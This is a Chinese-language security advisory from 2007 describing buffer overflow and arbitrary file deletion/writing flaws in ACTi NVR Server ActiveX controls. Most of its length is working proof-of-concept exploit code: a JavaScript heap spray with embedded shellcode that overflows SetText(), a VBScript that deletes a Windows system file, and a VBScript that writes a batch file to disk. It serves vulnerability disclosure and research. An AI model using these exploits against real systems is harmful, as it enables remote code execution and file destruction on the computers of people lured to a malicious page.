发布日期：2007-08-28
更新日期：2007-08-29

受影响系统：

ACTi Network Video Recorder SP2 v2.0.30

描述：

---

BUGTRAQ  ID: 25465

ACTi NVR Server是ACTi网络视频监控设备所使用的后端服务器。

ACTi NVR Server的多个ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。

ACTi NVR Server中的nvUtility.Utility ActiveX控件（nvUtility.dll）没有正确地验证DeleteXMLFile()和SaveXMLFile()"方式，如果用户受骗访问了恶意站点的话，就可能删除或写入任意文件；nvUnifiedControl.AUnifiedControl.1控件（nvUnifiedControl.dll）没有正确地验证SetText()方式，如果用户受骗访问了恶意站点就可能触发堆溢出，导致执行任意指令。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://secunia.com/advisories/26622/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<object id=boom classid="clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8" style="WIDTH: 578px; HEIGHT: 228px"></object>

<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">

<script>
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");

var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;

  function tryMe()
   {
    var size_buff = 9000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<size_buff) x += x;
    x = x.substring(0,size_buff);

    boom.SetText(1, x, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1);
   }
    
  function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }

var heapBlockSize = 0x800000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);

var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
</script>


<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  Dim MyMsg  
   test.DeleteXMLFile "c:\windows\system_.ini"
   MyMsg = MsgBox("Exploit completed!")
End Sub
</script>


<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.SaveXMLFile "c:\shinnai.bat", mStr
   MyMsg = MsgBox("Exploit completed!")
End Sub
</script>

建议：

---

厂商补丁：

ACTi
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.acti.com/productsV2/Product_Category.Asp?strCatalog_ID=57803431-9E23-45A9-A1D8-81F13AC9D5

浏览次数：3194
严重程度：0（网友投票）